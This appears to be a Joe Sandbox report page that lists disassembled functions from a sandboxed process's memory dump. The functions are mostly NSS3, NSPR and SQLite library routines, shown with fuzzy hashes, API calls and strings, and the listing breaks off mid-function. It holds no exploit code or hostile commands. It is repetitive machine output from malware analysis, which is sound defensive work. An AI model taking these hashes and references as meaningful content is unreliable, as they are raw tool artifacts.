Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 2640aeff40cb19a075f5b2d351a2ff7679f145be525104ddec0defd77f1f3e49
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 4871E472E01B018FD728CF59C8807AAB7F2BF98304F154A2DD85697B91D734E905CBA5

Function 6C5A5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C5A6013

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 23aa297cd88eb2f0c15c886811ac4c4ab78aa99583164b3f57707b54cb23c3f0
Instruction ID: bf239eadc9651b02deea55106e934545d776fa472f9e7b5bfbe4105d147ff53d
Opcode Fuzzy Hash: 23aa297cd88eb2f0c15c886811ac4c4ab78aa99583164b3f57707b54cb23c3f0
Instruction Fuzzy Hash: AAC1D8B1A047068BDB04CE9BCC90BAEBBB2AF49318F648559D955D7B41DB31E883C790

Function 6C735E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C735B90: PR_Lock.NSS3(00010000,?,00000000,?,6C61DF9B), ref: 6C735B9E
Part of subcall function 6C735B90: PR_Unlock.NSS3 ref: 6C735BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C735E23,6C61E154), ref: 6C735EBF

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 9203b7d56548aedb2c2919de8768cee7f34dab458069c615a0a67878bd797b09
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: DE519F72E0022A8FCB18CF59C9819AEF7B2FF88314B19457DD815B7746D734A941CBA0

Function 6C6EDCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7fa724237de8207c0d5c2e73bc956fa03ec679179b84b719bf0a89855fc012d
Instruction ID: 75f61b5beb077ae7139ca8d9f1a115c87e9402f4fa09debbe965ffeb365fd3bb
Opcode Fuzzy Hash: b7fa724237de8207c0d5c2e73bc956fa03ec679179b84b719bf0a89855fc012d
Instruction Fuzzy Hash: D8F18D71A06205CFDB08CF19C494BAA77B2BF89318F29416AD8099F745DB31ED42CBE5

Function 6C681DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: b4c9c1b1d61309143254009db2066e4ca9693c533fe0ecb72b696f487e79019a
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: FCD16B72D0A6568BDB118E18C8983DA7763AB85328F1D4329CD741B7C6C37B9906C7F4

Function 6C618EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94ecf7e04e7934cfd18e343f2ee9bddede6be6ee58ec7905786a050412613c61
Instruction ID: 5d193d60cae71f027da8ad0ca9ae5b04221a55f1c776720f4358b36519538651
Opcode Fuzzy Hash: 94ecf7e04e7934cfd18e343f2ee9bddede6be6ee58ec7905786a050412613c61
Instruction Fuzzy Hash: 8411E631A092158FD704CF29D88475AB365BF4635DF15427AD4058FE61C375D882C7C5

Function 6C6F0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91de60a2f31100f091d8918921800affa28116a0daeb968457d929ea2137778a
Instruction ID: 26e266e97f3976d207bf4a368d869b4e51e1864b4bb119f0fd4f13e974109bdb
Opcode Fuzzy Hash: 91de60a2f31100f091d8918921800affa28116a0daeb968457d929ea2137778a
Instruction Fuzzy Hash: 40119179704345DFDB00DF19C8946AA77A6FF85368F248079D8298B701DB71E807CBA5

Function 6C663FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 2737a9e5ff18144e629c16abc10daccbac75307f170df4a5ea99925506a21dfb
Instruction ID: e83a419ecf549277920519b4ac884b9103f27882796c1627c2c794cb5a9251dc
Opcode Fuzzy Hash: 2737a9e5ff18144e629c16abc10daccbac75307f170df4a5ea99925506a21dfb
Instruction Fuzzy Hash: D8F05470A0475D9BCB10DF29C45159EB7F4EF49254F10952AEC899B301E730AAC4C7D5

Function 6C6F0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 3dcab86dcf261d2b4dc887514d97702cab3a1f82dac575f29e4e2ba17253b081
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 56E0923A202054A7DB148E09C460AA973DADF82719FB8807DCC6D9FA01D733F80387A5

Function 6C61CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c311e1401098cc30a1df3c437a51130739c937bb650265a5c62cd59fd94b9925
Instruction ID: 022a49cd63d4f59b9309fa10525104e97f8178c7f04f5e1c64e3fe758e7ee606
Opcode Fuzzy Hash: c311e1401098cc30a1df3c437a51130739c937bb650265a5c62cd59fd94b9925
Instruction Fuzzy Hash: 30C09238244708CFC704DF08E499DA53BF8FF0E61072400A4EA028B721EB71FC00DA80

Function 6C669840 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b67a85eeff7526a5d736aeed4d0ac1c73aac8b8c9ab32ca253163ff95823b098
Instruction ID: ddd2788638378e78493d428056f03ca766987dd9816727f5a1fb84d8a78ac762
Opcode Fuzzy Hash: b67a85eeff7526a5d736aeed4d0ac1c73aac8b8c9ab32ca253163ff95823b098
Instruction Fuzzy Hash:

Function 6C685DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C685E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C685E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C685E5C
free.MOZGLUE(00000000), ref: 6C685E7E
free.MOZGLUE(00000000), ref: 6C685E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C685EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C685EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C685ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C685EF0
free.MOZGLUE(00000000), ref: 6C685F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C685F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C685F5B
free.MOZGLUE(00000000), ref: 6C685F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C685FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C685FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C685FC4
free.MOZGLUE(00000000), ref: 6C685FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C685FE9
free.MOZGLUE(00000000), ref: 6C685FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C68600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C686027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C68605A
PR_smprintf.NSS3(6C75AAF9,00000000), ref: 6C68606A
free.MOZGLUE(00000000), ref: 6C68607C
free.MOZGLUE(00000000), ref: 6C68609A
free.MOZGLUE(00000000), ref: 6C6860B2
free.MOZGLUE(?), ref: 6C6860CE

Strings

configDir=, xrefs: 6C685F9D
forceSecmodChoice, xrefs: 6C685F55
secmod=, xrefs: 6C685FB1
%s/%s, xrefs: 6C686055
readOnly, xrefs: 6C685E56
noModDB, xrefs: 6C685EEA
secmod.db, xrefs: 6C685EA0
flags, xrefs: 6C685E3A, 6C685EC6, 6C685F30
pkcs11.txt, xrefs: 6C685F47, 6C685F7C, 6C68603A, 6C686053

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 9cea24b3b57ebedf595a9abf8cea83d7c38cffae57b877311993777e676fe463
Instruction ID: 0e9da966df7a5812927b7242f4b8cb0bdd3e891ba612a1fe2f1917f78ed79fdd
Opcode Fuzzy Hash: 9cea24b3b57ebedf595a9abf8cea83d7c38cffae57b877311993777e676fe463
Instruction Fuzzy Hash: 0E91F7F49062155BFF018F24DD85BAA3BA4AF0A34DF180061EC569BB42E731D915CBBE

Function 6C611D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C611DA3

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C611DB2

Part of subcall function 6C611240: TlsGetValue.KERNEL32(00000040,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611267
Part of subcall function 6C611240: EnterCriticalSection.KERNEL32(?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C61127C
Part of subcall function 6C611240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611291
Part of subcall function 6C611240: PR_Unlock.NSS3(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C6112A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C611DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C611E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C611EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C611ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C611EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C611F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C611F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C611F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C611F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C611F83
PR_SetLogFile.NSS3(00000000), ref: 6C611FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C611FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C611FCB
free.MOZGLUE(00000000), ref: 6C611FD2

Strings

append, xrefs: 6C611EE6
sync, xrefs: 6C611E46
bufsize, xrefs: 6C611E9B
NSPR_LOG_MODULES, xrefs: 6C611DAD
, %n, xrefs: 6C611E6B
NSPR_LOG_FILE, xrefs: 6C611F69
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C611E27
all, xrefs: 6C611F0E
timestamp, xrefs: 6C611EC4
Unable to create nspr log file '%s', xrefs: 6C611FB3

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 86cf5fa6faacee4d3a3320a395d115945c557fb552daaa3b132da2cdc668629b
Instruction ID: 4811b13b43384c5fdf25f0a31b7f6ee4cf8a4a665728249cf37365efb0bc74c2
Opcode Fuzzy Hash: 86cf5fa6faacee4d3a3320a395d115945c557fb552daaa3b132da2cdc668629b
Instruction Fuzzy Hash: D651ADB1E082599FDF00DBE8CD48B9E77B8AF1530AF180528E919DBA41E770D518CB99

Function 6C6F6E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C60F9C9,?,6C60F4DA,6C60F9C9,?,?,6C5D369A), ref: 6C5ACA7A
Part of subcall function 6C5ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5ACB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C5BBE66), ref: 6C6F6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C5BBE66), ref: 6C6F6E98
sqlite3_snprintf.NSS3(?,00000000,6C75AAF9,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C5BBE66), ref: 6C6F6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C5BBE66), ref: 6C6F6FA6
sqlite3_snprintf.NSS3(?,00000000,6C75AAF9,00000000,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C5BBE66), ref: 6C6F701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C5BBE66), ref: 6C6F7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C5BBE66), ref: 6C6F7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F70A0

Strings

winGetTempname5, xrefs: 6C6F7071
winGetTempname1, xrefs: 6C6F708F
winGetTempname2, xrefs: 6C6F70C4
winGetTempname4, xrefs: 6C6F7046
Psl, xrefs: 6C6F70A8
mz_etilqs_, xrefs: 6C6F6F18

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Psl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-3347618251
Opcode ID: a6e4b1736b0f306e8037e9cdc773f6fe5182f9fbaab3ae55b647dc975329d230
Instruction ID: f5108461a7ed39de5256cdbf60f723c7e184f247d7ff897033bcc60ce698cefd
Opcode Fuzzy Hash: a6e4b1736b0f306e8037e9cdc773f6fe5182f9fbaab3ae55b647dc975329d230
Instruction Fuzzy Hash: 4F517AB2A051216BE30096319C55FFF362B9FC3358F144538E82596BC2FB26D91F82DA

Function 6C684FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000,00000000,00000001), ref: 6C685009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C685049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C68505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C685071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685089
